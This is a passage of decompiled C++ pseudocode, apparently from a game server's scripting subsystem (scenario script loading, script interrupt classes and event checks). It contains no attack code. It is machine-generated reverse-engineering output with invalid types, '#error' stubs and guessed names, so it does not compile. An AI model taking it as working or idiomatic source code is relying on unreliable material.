ebx@31 int v22; // edx@31 unsigned int v23; // eax@31 int v24; // ecx@32 #593 **v25; // edi@33 void *_Newvec; // [sp+0h] [bp-4h]@25 unsigned int _Wherea; // [sp+8h] [bp+4h]@31 int _Counta; // [sp+Ch] [bp+8h]@25 v4 = this; v5 = this->_Myfirst; _Val = (ScenarioBookShelf::ScenarioBook *const *)*_Val; if ( v5 ) v6 = this->_Myend - v5; else v6 = 0; v7 = _Count; if ( _Count ) { if ( v5 ) v8 = this->_Mylast - v5; else v8 = 0; if ( 1073741823 - v8 < _Count ) std::vector>::_Xlen(v4); if ( v5 ) v9 = v4->_Mylast - v5; else v9 = 0; if ( v6 >= _Count + v9 ) { v20 = (int)v4->_Mylast; v21 = _Where; v22 = (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 2; v23 = 4 * _Count; _Wherea = 4 * _Count; if ( v22 >= _Count ) { v25 = (#593 **)(v20 - v23); v4->_Mylast = (ScenarioBookShelf::ScenarioBook **)std::vector>::_Ucopy( (char *)(v20 - v23), v20, (char *)v20); std::copy_backward( *(#593 ***)&v21, v25, (#593 **)v20); std::fill( *(std::list,std::allocator > >::iterator **)&v21, (std::list,std::allocator > >::iterator *)(*(_DWORD *)&v21 + _Wherea), (std::list,std::allocator > >::iterator *)&_Val); } else { std::vector>::_Ucopy( *(char **)&v21, v20, (char *)(*(_DWORD *)&v21 + v23)); std::vector>::_Ufill( (std::vector > *)v4, (#593 **)v4->_Mylast, _Count - ((signed int)((char *)v4->_Mylast - *(_DWORD *)&v21) >> 2)); v24 = (int)&v4->_Mylast[_Wherea / 4]; v4->_Mylast = (ScenarioBookShelf::ScenarioBook **)v24; std::fill( *(std::list,std::allocator > >::iterator **)&v21, (std::list,std::allocator > >::iterator *)(v24 - _Wherea), (std::list,std::allocator > >::iterator *)&_Val); } } else { if ( 1073741823 - ((unsigned int)v6 >> 1) >= v6 ) v10 = ((unsigned int)v6 >> 1) + v6; else v10 = 0; if ( v5 ) v11 = v4->_Mylast - v5; else v11 = 0; if ( v10 < _Count + v11 ) { if ( v5 ) v12 = v4->_Mylast - v5; else v12 = 0; v10 = _Count + v12; } _Counta = 4 * v10; v13 = operator new(4 * v10); v14 = 4 * ((signed int)(*(_DWORD *)&_Where - (unsigned int)v4->_Myfirst) >> 2); _Newvec = v13; memmove((char *)v13, (char *)v4->_Myfirst, v14); v16 = std::vector>::_Ufill( (std::vector > *)v4, (#593 **)(v14 + v15), v7); memmove((char *)v16, *(char **)&_Where, 4 * ((signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 2)); v17 = v4->_Myfirst; if ( v17 ) v18 = v4->_Mylast - v17; else v18 = 0; v19 = v18 + v7; if ( v17 ) operator delete(v4->_Myfirst); v4->_Myend = (ScenarioBookShelf::ScenarioBook **)((char *)_Newvec + _Counta); v4->_Mylast = (ScenarioBookShelf::ScenarioBook **)((char *)_Newvec + 4 * v19); v4->_Myfirst = (ScenarioBookShelf::ScenarioBook **)_Newvec; } } } //----- (004EF4F0) -------------------------------------------------------- void __thiscall ScenarioBookShelf::ScenarioBookShelf(ScenarioBookShelf *this) { this->sbs_Array._Myfirst = 0; this->sbs_Array._Mylast = 0; this->sbs_Array._Myend = 0; BTree::BTree(&this->sbs_Tree); } //----- (004EF540) -------------------------------------------------------- char __thiscall ScenarioBookShelf::sbs_Read(ScenarioBookShelf *this, char *fname) { ScenarioBookShelf *v2; // esi@1 char *v3; // edi@1 void *v4; // eax@2 void *v5; // ebx@8 int v6; // edx@8 ScenarioBookShelf::ScenarioBook **v7; // ecx@8 int v8; // eax@9 ScenarioBookShelf::ScenarioBook **v9; // ecx@11 int v10; // edx@12 ScenarioBookShelf::ScenarioBook **v11; // eax@16 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ScenarioBookShelf::sbs_Read"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScenarioBookShelf::sbs_Read"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = fname; if ( !ScenarioBookShelf::ScenarioBook::sb_IsExist(0, fname, "ps") ) { if ( !ScenarioBookShelf::ScenarioBook::sb_IsExist(0, v3, "lua") ) { AssertClass::ac_AssertFail(&shineassert, "ScenarioBookShelf::sbs_Read : File not found", v3); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ScenarioBookShelf::sbs_Read"); return 0; } v4 = operator new(8u); if ( v4 ) { *(_DWORD *)v4 = &ScenarioBookShelf::ScenarioBookLua::_vftable_; *((_DWORD *)v4 + 1) = 0; goto LABEL_8; } LABEL_7: v4 = 0; goto LABEL_8; } v4 = operator new(8u); if ( !v4 ) goto LABEL_7; *(_DWORD *)v4 = &ScenarioBookShelf::ScenarioBookPS::_vftable_; *((_DWORD *)v4 + 1) = 0; LABEL_8: v5 = v4; v6 = *(_DWORD *)v4; fname = (char *)v4; (*(void (__thiscall **)(void *, char *))v6)(v4, v3); v7 = v2->sbs_Array._Myfirst; if ( v7 ) v8 = v2->sbs_Array._Mylast - v7; else v8 = 0; BTree::bt_Insert(&v2->sbs_Tree, v3, v8); v9 = v2->sbs_Array._Myfirst; if ( v9 ) v10 = v2->sbs_Array._Mylast - v9; else v10 = 0; if ( v9 && v10 < v2->sbs_Array._Myend - v9 ) { v11 = v2->sbs_Array._Mylast; *v11 = (ScenarioBookShelf::ScenarioBook *)v5; v2->sbs_Array._Mylast = v11 + 1; } else { std::vector>::_Insert_n( &v2->sbs_Array, (std::vector >::iterator)v2->sbs_Array._Mylast, 1u, (ScenarioBookShelf::ScenarioBook *const *)&fname); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ScenarioBookShelf::sbs_Read"); return 1; } // 657F50: using guessed type int (__stdcall *ScenarioBookShelf__ScenarioBookPS___vftable_)(int fname); // 657F60: using guessed type int (__stdcall *ScenarioBookShelf__ScenarioBookLua___vftable_)(int fname); //----- (004EF6E0) -------------------------------------------------------- void __thiscall ScenarioBookShelf::sbs_ReadNAssert(ScenarioBookShelf *this, char *scriptname) { if ( !ScenarioBookShelf::sbs_Read(this, scriptname) ) { AssertClass::ac_AssertFail(&shineassert, "ScenarioBookShelf::sbs_ReadNAssert : Script Load Error", scriptname); ShineExit("ScenarioBookShelf::sbs_ReadNAssert"); } } //----- (004EF720) -------------------------------------------------------- void __thiscall ScenarioBookShelf::sbs_LoadScripts(ScenarioBookShelf *this) { char v1; // bl@1 int v2; // eax@1 int i; // ebx@4 void *v4; // esi@5 ORToken v5; // [sp-24h] [bp-1089Ch]@5 int v6; // [sp-20h] [bp-10898h]@5 int v7; // [sp-1Ch] [bp-10894h]@5 int v8; // [sp-18h] [bp-10890h]@5 int v9; // [sp-14h] [bp-1088Ch]@5 char *v10; // [sp-10h] [bp-10888h]@5 int v11; // [sp-Ch] [bp-10884h]@5 int v12; // [sp-8h] [bp-10880h]@5 int *v13; // [sp-4h] [bp-1087Ch]@5 int type; // [sp+Ch] [bp-1086Ch]@1 ORToken *v15; // [sp+10h] [bp-10868h]@5 OptionReader or; // [sp+14h] [bp-10864h]@1 unsigned int v17; // [sp+10868h] [bp-10h]@1 int v18; // [sp+10874h] [bp-4h]@1 v17 = (unsigned int)&type ^ __security_cookie; OptionReader::OptionReader(&or); v18 = 0; v1 = OptionReader::or_Read(&or, "../9Data/Hero/World/PineScript.txt"); v2 = OptionReader::or_ErrorLine(&or); if ( !v1 ) { AssertClass::ac_AssertFail(&shineassert, "ScenarioBookShelf::sbs_LoadScripts : Option read error", v2); ShineExit("ScenarioBookShelf::sbs_LoadScripts"); } for ( i = 0; ; ++i ) { v13 = &type; v12 = i; v11 = 0; v10 = byte_635E1E; v15 = &v5; v9 = 0; v8 = 0; v7 = 0; v6 = 0; *(_DWORD *)&v5.ort_Name[0] = 0; strncpy(v5.ort_Name, "PineScript", 0x14u); v4 = OptionReader::or_Select(&or, "ScriptName", v5, v10, v11, v12, v13); if ( !v4 ) break; if ( type != 2 ) { AssertClass::ac_AssertFail(&shineassert, "ScenarioBookShelf::sbs_LoadScripts : Type error", type); ShineExit("ScenarioBookShelf::sbs_LoadScripts"); } if ( !ScenarioBookShelf::sbs_Read(&scenarioshelf, (char *)v4) ) { AssertClass::ac_AssertFail( &shineassert, "ScenarioBookShelf::sbs_ReadNAssert : Script Load Error", (const char *)v4); ShineExit("ScenarioBookShelf::sbs_ReadNAssert"); } } v18 = -1; OptionReader::_OptionReader(&or); __security_check_cookie((unsigned int)&type ^ v17); } //----- (004EF890) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptArgument::ScriptInterruptArgument(ScriptInterrupt::ScriptInterruptArgument *this) { ScriptInterrupt::ScriptInterruptArgument *v1; // esi@1 v1 = this; PineScriptToken::pst_Clear(&this->sib_InterruptBlock); *(_DWORD *)&v1->sib_InterruptIndex.n4_name[12] = 0; *(_DWORD *)&v1->sib_InterruptIndex.n4_name[8] = 0; *(_DWORD *)&v1->sib_InterruptIndex.n4_name[4] = 0; *(_DWORD *)&v1->sib_InterruptIndex.n4_name[0] = 0; } //----- (004EF8C0) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptArgument::_ScriptInterruptArgument(ScriptInterrupt::ScriptInterruptArgument *this) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&this->sib_InterruptBlock); } //----- (004EF8D0) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptAreaEntry::ScriptInterruptAreaEntry(ScriptInterrupt::ScriptInterruptAreaEntry *this) { this->baseclass_0.baseclass_0.vfptr = (ScriptInterrupt::ScriptInterruptBaseVtbl *)&ScriptInterrupt::ScriptInterruptAreaEntry::_vftable_; } // 65854C: using guessed type int (__stdcall *ScriptInterrupt__ScriptInterruptAreaEntry___vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); //----- (004EF8E0) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptAreaLeave::ScriptInterruptAreaLeave(ScriptInterrupt::ScriptInterruptAreaLeave *this) { this->baseclass_0.baseclass_0.vfptr = (ScriptInterrupt::ScriptInterruptBaseVtbl *)&ScriptInterrupt::ScriptInterruptAreaLeave::_vftable_; } // 658574: using guessed type int (__stdcall *ScriptInterrupt__ScriptInterruptAreaLeave___vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); //----- (004EF8F0) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptNPCClickHandle::ScriptInterruptNPCClickHandle(ScriptInterrupt::ScriptInterruptNPCClickHandle *this) { this->baseclass_0.vfptr = (ScriptInterrupt::ScriptInterruptBaseVtbl *)&ScriptInterrupt::ScriptInterruptNPCClickHandle::_vftable_; } // 65859C: using guessed type int (__stdcall *ScriptInterrupt__ScriptInterruptNPCClickHandle___vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); //----- (004EF900) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptNPCClickIndex::ScriptInterruptNPCClickIndex(ScriptInterrupt::ScriptInterruptNPCClickIndex *this) { this->baseclass_0.vfptr = (ScriptInterrupt::ScriptInterruptBaseVtbl *)&ScriptInterrupt::ScriptInterruptNPCClickIndex::_vftable_; } // 6585C4: using guessed type int (__stdcall *ScriptInterrupt__ScriptInterruptNPCClickIndex___vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); //----- (004EF910) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptNPCClickAny::ScriptInterruptNPCClickAny(ScriptInterrupt::ScriptInterruptNPCClickAny *this) { this->baseclass_0.vfptr = (ScriptInterrupt::ScriptInterruptBaseVtbl *)&ScriptInterrupt::ScriptInterruptNPCClickAny::_vftable_; } // 6585EC: using guessed type int (__stdcall *ScriptInterrupt__ScriptInterruptNPCClickAny___vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); //----- (004EF920) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptObjectDeadHandle::ScriptInterruptObjectDeadHandle(ScriptInterrupt::ScriptInterruptObjectDeadHandle *this) { this->baseclass_0.vfptr = (ScriptInterrupt::ScriptInterruptBaseVtbl *)&ScriptInterrupt::ScriptInterruptObjectDeadHandle::_vftable_; } // 658614: using guessed type int (__stdcall *ScriptInterrupt__ScriptInterruptObjectDeadHandle___vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); //----- (004EF930) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptObjectDeadIndex::ScriptInterruptObjectDeadIndex(ScriptInterrupt::ScriptInterruptObjectDeadIndex *this) { this->baseclass_0.vfptr = (ScriptInterrupt::ScriptInterruptBaseVtbl *)&ScriptInterrupt::ScriptInterruptObjectDeadIndex::_vftable_; } // 65863C: using guessed type int (__stdcall *ScriptInterrupt__ScriptInterruptObjectDeadIndex___vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); //----- (004EF940) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptMobEleminate::ScriptInterruptMobEleminate(ScriptInterrupt::ScriptInterruptMobEleminate *this) { this->baseclass_0.vfptr = (ScriptInterrupt::ScriptInterruptBaseVtbl *)&ScriptInterrupt::ScriptInterruptMobEleminate::_vftable_; } // 658664: using guessed type int (__stdcall *ScriptInterrupt__ScriptInterruptMobEleminate___vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); //----- (004EF950) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptPlayerEleminate::ScriptInterruptPlayerEleminate(ScriptInterrupt::ScriptInterruptPlayerEleminate *this) { this->baseclass_0.vfptr = (ScriptInterrupt::ScriptInterruptBaseVtbl *)&ScriptInterrupt::ScriptInterruptPlayerEleminate::_vftable_; } // 65868C: using guessed type int (__stdcall *ScriptInterrupt__ScriptInterruptPlayerEleminate___vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); //----- (004EF960) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptGuildEleminate::ScriptInterruptGuildEleminate(ScriptInterrupt::ScriptInterruptGuildEleminate *this) { this->baseclass_0.vfptr = (ScriptInterrupt::ScriptInterruptBaseVtbl *)&ScriptInterrupt::ScriptInterruptGuildEleminate::_vftable_; } // 6586B4: using guessed type int (__stdcall *ScriptInterrupt__ScriptInterruptGuildEleminate___vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); //----- (004EF970) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptInterval::ScriptInterruptInterval(ScriptInterrupt::ScriptInterruptInterval *this) { this->baseclass_0.vfptr = (ScriptInterrupt::ScriptInterruptBaseVtbl *)&ScriptInterrupt::ScriptInterruptInterval::_vftable_; } // 6586DC: using guessed type int (__stdcall *ScriptInterrupt__ScriptInterruptInterval___vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); //----- (004EF980) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptHPLow::ScriptInterruptHPLow(ScriptInterrupt::ScriptInterruptHPLow *this) { this->baseclass_0.vfptr = (ScriptInterrupt::ScriptInterruptBaseVtbl *)&ScriptInterrupt::ScriptInterruptHPLow::_vftable_; } // 658704: using guessed type int (__stdcall *ScriptInterrupt__ScriptInterruptHPLow___vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); //----- (004EF990) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptTimeOut::ScriptInterruptTimeOut(ScriptInterrupt::ScriptInterruptTimeOut *this) { this->baseclass_0.vfptr = (ScriptInterrupt::ScriptInterruptBaseVtbl *)&ScriptInterrupt::ScriptInterruptTimeOut::_vftable_; } // 65872C: using guessed type int (__stdcall *ScriptInterrupt__ScriptInterruptTimeOut___vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); //----- (004EF9A0) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptKillEnemy::ScriptInterruptKillEnemy(ScriptInterrupt::ScriptInterruptKillEnemy *this) { this->baseclass_0.vfptr = (ScriptInterrupt::ScriptInterruptBaseVtbl *)&ScriptInterrupt::ScriptInterruptKillEnemy::_vftable_; } // 658754: using guessed type int (__stdcall *ScriptInterrupt__ScriptInterruptKillEnemy___vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); //----- (004EF9B0) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptTargetChange::ScriptInterruptTargetChange(ScriptInterrupt::ScriptInterruptTargetChange *this) { this->baseclass_0.vfptr = (ScriptInterrupt::ScriptInterruptBaseVtbl *)&ScriptInterrupt::ScriptInterruptTargetChange::_vftable_; } // 65877C: using guessed type int (__stdcall *ScriptInterrupt__ScriptInterruptTargetChange___vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); //----- (004EF9C0) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptPlayerDead::ScriptInterruptPlayerDead(ScriptInterrupt::ScriptInterruptPlayerDead *this) { this->baseclass_0.vfptr = (ScriptInterrupt::ScriptInterruptBaseVtbl *)&ScriptInterrupt::ScriptInterruptPlayerDead::_vftable_; } // 6587A4: using guessed type int (__stdcall *ScriptInterrupt__ScriptInterruptPlayerDead___vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); //----- (004EF9D0) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptPickUpItemIndex::ScriptInterruptPickUpItemIndex(ScriptInterrupt::ScriptInterruptPickUpItemIndex *this) { this->baseclass_0.vfptr = (ScriptInterrupt::ScriptInterruptBaseVtbl *)&ScriptInterrupt::ScriptInterruptPickUpItemIndex::_vftable_; } // 6587CC: using guessed type int (__stdcall *ScriptInterrupt__ScriptInterruptPickUpItemIndex___vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); //----- (004EF9E0) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptAdmin::ScriptInterruptAdmin(ScriptInterrupt::ScriptInterruptAdmin *this) { this->baseclass_0.vfptr = (ScriptInterrupt::ScriptInterruptBaseVtbl *)&ScriptInterrupt::ScriptInterruptAdmin::_vftable_; } // 6587F4: using guessed type int (__stdcall *ScriptInterrupt__ScriptInterruptAdmin___vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); //----- (004EF9F0) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptHPFull::ScriptInterruptHPFull(ScriptInterrupt::ScriptInterruptHPFull *this) { this->baseclass_0.vfptr = (ScriptInterrupt::ScriptInterruptBaseVtbl *)&ScriptInterrupt::ScriptInterruptHPFull::_vftable_; } // 65881C: using guessed type int (__stdcall *ScriptInterrupt__ScriptInterruptHPFull___vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); //----- (004EFA00) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptHPUpper::ScriptInterruptHPUpper(ScriptInterrupt::ScriptInterruptHPUpper *this) { this->baseclass_0.vfptr = (ScriptInterrupt::ScriptInterruptBaseVtbl *)&ScriptInterrupt::ScriptInterruptHPUpper::_vftable_; } // 658844: using guessed type int (__stdcall *ScriptInterrupt__ScriptInterruptHPUpper___vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); //----- (004EFA10) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInteruptWinGuild::InterruptEvent(ScriptInterrupt::ScriptInteruptWinGuild *this, ScriptInterrupt::ScriptInterruptArgument *pInterruptArument, ScriptInterrupt::InterruptEventArgument *pEventArument) { ScriptInterrupt::ScriptInteruptWinGuild *v3; // edi@1 v3 = this; if ( pInterruptArument->sib_InterruptBlast != 1 ) { if ( pEventArument->vfptr->GetEventType(pEventArument) == 1 ) { pInterruptArument->sib_InterruptBlast = 1; v3->RegNo = (unsigned int)pEventArument[1].vfptr; } } } //----- (004EFA50) -------------------------------------------------------- char __thiscall MapBlock::MapBlockInformation::mbi_AreaLeave(MapBlock::MapBlockInformation *this, Name8 *areaindex, unsigned int x, unsigned int y) { AreaInfoData::IAreaData *v4; // eax@1 char result; // al@2 float v6; // ST04_4@3 float v7; // ST00_4@3 v4 = AreaInfoData::GetData(&this->mbi_AreaData, areaindex); if ( v4 ) { v6 = (double)y; v7 = (double)x; result = ((int (__thiscall *)(_DWORD, _DWORD, _DWORD))v4->vfptr->IntersectTest)(v4, LODWORD(v7), LODWORD(v6)) == 0; } else { result = 0; } return result; } //----- (004EFAB0) -------------------------------------------------------- void __thiscall List::_List(List *this) { void *v1; // ecx@1 this->vfptr = (ListVtbl *)ScriptInterrupt::ScriptInterruptManager::_vftable_; v1 = this->l_Array; if ( v1 ) operator delete__(v1); } // 65886C: using guessed type int (__stdcall *ScriptInterrupt__ScriptInterruptManager___vftable_[3])(__int16 hnd); //----- (004EFAD0) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptManager::_ScriptInterruptManager(ScriptInterrupt::ScriptInterruptManager *this) { ScriptInterrupt::ScriptInterruptManager *v1; // esi@1 void *v2; // esi@1 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)ScriptInterrupt::ScriptInterruptManager::_vftable_; _eh_vector_destructor_iterator_( this->sim_ArgArray, 0x220u, 20, (void (__thiscall *)(void *))ScriptInterrupt::ScriptInterruptArgument::_ScriptInterruptArgument); v1->baseclass_0.vfptr = (ListVtbl *)ScriptInterrupt::ScriptInterruptManager::_vftable_; v2 = v1->baseclass_0.l_Array; if ( v2 ) operator delete__(v2); } // 65886C: using guessed type int (__stdcall *ScriptInterrupt__ScriptInterruptManager___vftable_[3])(__int16 hnd); //----- (004EFB40) -------------------------------------------------------- ScriptInterrupt::ScriptInterruptArgument *__thiscall ScriptInterrupt::ScriptInterruptManager::sim_Alloc(ScriptInterrupt::ScriptInterruptManager *this, Name4 *intindex, ScriptInterrupt::ScriptInterruptBase *inst, PineScriptToken *eventblock, int num) { ScriptInterrupt::ScriptInterruptManager *v5; // esi@1 int v6; // eax@1 int v7; // ebp@2 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_Alloc"); HIWORD(v6) = HIWORD(funcallanalizer.fca_stackpoint); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptManager::sim_Alloc"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; LOWORD(v6) = v5->baseclass_0.l_Finger.empty; if ( (_WORD)v6 == -1 ) v7 = 0; else v7 = (int)v5->baseclass_0.vfptr->l_AllocZ((List *)v5, v6); if ( v7 ) { *(_DWORD *)v7 = inst; memcpy((void *)(v7 + 4), eventblock, 0x100u); *(_BYTE *)(v7 + 260) = 0; *(_DWORD *)(v7 + 264) = num; *(_QWORD *)(v7 + 268) = *(_QWORD *)&intindex->n4_name[0]; *(_QWORD *)(v7 + 276) = *(_QWORD *)&intindex->n4_name[8]; } else { AssertClass::ac_AssertFail( &shineassert, "ScriptInterrupt::ScriptInterruptManager::sim_Alloc : Too many ScriptInterrupt", 0); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_Alloc"); return (ScriptInterrupt::ScriptInterruptArgument *)v7; } //----- (004EFC50) -------------------------------------------------------- char __thiscall ScriptInterrupt::ScriptInterruptUnitBase::sib_BlastCheck(ScriptInterrupt::ScriptInterruptUnitBase *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #593 *center) { ScriptInterrupt::ScriptInterruptUnitBase *v8; // ebx@1 int v9; // eax@2 bool v10; // zf@2 char result; // al@4 v8 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptUnitBase::sib_BlastCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptUnitBase::sib_BlastCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ((void (__thiscall *)(_DWORD, _DWORD))v8->baseclass_0.vfptr[1].sib_AreaEntry)(v8, arg); if ( arg->sib_InterruptBlast ) { arg->sib_InterruptBlast = 0; memcpy(eventblock, &arg->sib_InterruptBlock, 0x100u); ((void (__thiscall *)(_DWORD, _DWORD))v8->baseclass_0.vfptr[1].sib_AreaLeave)(v8, argument); v9 = arg->sib_BlastNumber - 1; v10 = arg->sib_BlastNumber == 1; arg->sib_BlastNumber = v9; if ( v9 < 0 | v10 ) ((void (__stdcall *)(_DWORD))lst->vfptr->l_Free)(hnd); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptUnitBase::sib_BlastCheck"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptUnitBase::sib_BlastCheck"); result = 0; } return result; } //----- (004EFD70) -------------------------------------------------------- char __thiscall ScriptInterrupt::ScriptInterruptHPFull::sib_BlastCheck(ScriptInterrupt::ScriptInterruptHPFull *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #593 *center) { int v8; // esi@2 bool v9; // zf@2 char result; // al@4 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptHPFull::sib_BlastCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptHPFull::sib_BlastCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( arg->sib_InterruptBlast ) { arg->sib_InterruptBlast = 0; memcpy(eventblock, &arg->sib_InterruptBlock, 0x100u); v8 = arg->sib_BlastNumber - 1; v9 = arg->sib_BlastNumber == 1; arg->sib_BlastNumber = v8; if ( v8 < 0 | v9 ) ((void (__stdcall *)(_DWORD))lst->vfptr->l_Free)(hnd); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptHPFull::sib_BlastCheck"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptHPFull::sib_BlastCheck"); result = 0; } return result; } //----- (004EFE80) -------------------------------------------------------- char __thiscall ScriptInterrupt::ScriptInterruptNPCClickHandle::sib_BlastCheck(ScriptInterrupt::ScriptInterruptNPCClickHandle *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #593 *center) { int v8; // ST00_4@2 PineScriptToken *v9; // eax@2 int v10; // eax@2 bool v11; // zf@2 char result; // al@4 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptNPCClickHandle::sib_BlastCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptNPCClickHandle::sib_BlastCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( arg->sib_InterruptBlast ) { memcpy(eventblock, &arg->sib_InterruptBlock, 0x100u); v8 = *(_WORD *)&arg->sib_Argument.area.areaname[0]; v9 = PineScriptToken::pst_Clear(argument); PineScriptToken::pst_MergeNumber(v9, v8); v10 = arg->sib_BlastNumber - 1; v11 = arg->sib_BlastNumber == 1; arg->sib_BlastNumber = v10; if ( v10 < 0 | v11 ) ((void (__stdcall *)(_DWORD))lst->vfptr->l_Free)(hnd); arg->sib_InterruptBlast = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptNPCClickHandle::sib_BlastCheck"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptNPCClickHandle::sib_BlastCheck"); result = 0; } return result; } //----- (004EFFA0) -------------------------------------------------------- #error "4EFFA0: undefined or illegal type '#593' (funcsize=120)" //----- (004F0140) -------------------------------------------------------- #error "4F0140: undefined or illegal type '#593' (funcsize=121)" //----- (004F02E0) -------------------------------------------------------- char __thiscall ScriptInterrupt::ScriptInterruptNPCClickIndex::sib_BlastCheck(ScriptInterrupt::ScriptInterruptNPCClickIndex *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #593 *center) { int v8; // ST00_4@2 PineScriptToken *v9; // eax@2 int v10; // eax@2 bool v11; // zf@2 char result; // al@4 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptNPCClickIndex::sib_BlastCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = 